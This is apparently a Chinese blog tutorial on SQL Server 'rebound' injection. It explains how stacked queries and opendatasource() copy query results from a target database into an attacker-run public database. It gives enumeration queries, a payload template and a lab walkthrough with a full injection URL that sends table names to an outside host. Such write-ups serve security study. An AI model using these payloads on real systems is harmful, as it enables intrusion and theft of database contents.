SQL Server反弹注入
0x00 前言
反弹注入适用于SQL Server数据库,在某些没有回显的情况时使用。与DNS注入相似,反弹注入是让数据库将信息外带出来,将信息插入到我们在公网上创建的数据库中。
0x01 使用条件
1、可以使用opendatasource()函数
2、可以堆叠注入(需要使用insert语句)
0x02 原理
在SQL Server数据库中,可以使用以下语句查询所需信息
查询数据库名:
1 | select name from dbo.sysdatabases |
查询当前库中不同类型的表:
1 | select name from dbo.sysobjects where xtype = 'U' |
查询字段名:
1 | select name from dbo.syscolumns where id = 123456 (123456是表的id值) |
查询字段内容:
1 | select username,null,null from users |
基于以上语法,可以使用反弹注入获取指定信息
反弹注入payload:
1 | insert into opendatasource('sqloledb','server=数据库地址,1433;uid=用户名;pwd=密码;database=数据库名').库名.dbo.表名 SQL语句 -- |
其中sqloledb是访问的方法。
填入公网数据库的相关信息。当执行完成后,当前数据库就会将 select * from admin 的执行结果插入的对应的数据库中,实现获取信息的目的。
0x03 靶场复现
首先通过order by 判断出字段数为3
接着在公网创建一个数据库:
如数据库名:ftsqli 表名:fantan 新建两个字段:test test1
如查询当前数据库中所有用户创建的表名和该表在数据库中的id值,可以使用
1 | select id,name from dbo.sysobjects where xtype = 'U' |
来查询。如
1 | ?id=1';insert into opendatasource('sqloledb','server=databasehost,1433;uid=ftsqli;pwd=password;database=ftsqli').ftsqli.dbo.fantan select id,name from dbo.sysobjects where xtype = 'U'--+Q |
此时数据库就会查询当前库中所有用户建立的表名,并将表的id和表名插入公网数据库的test和test1字段中
Tips:执行的SQL语句中的字段数和创建的表中的字段数要一致,否则无法插入信息。
评论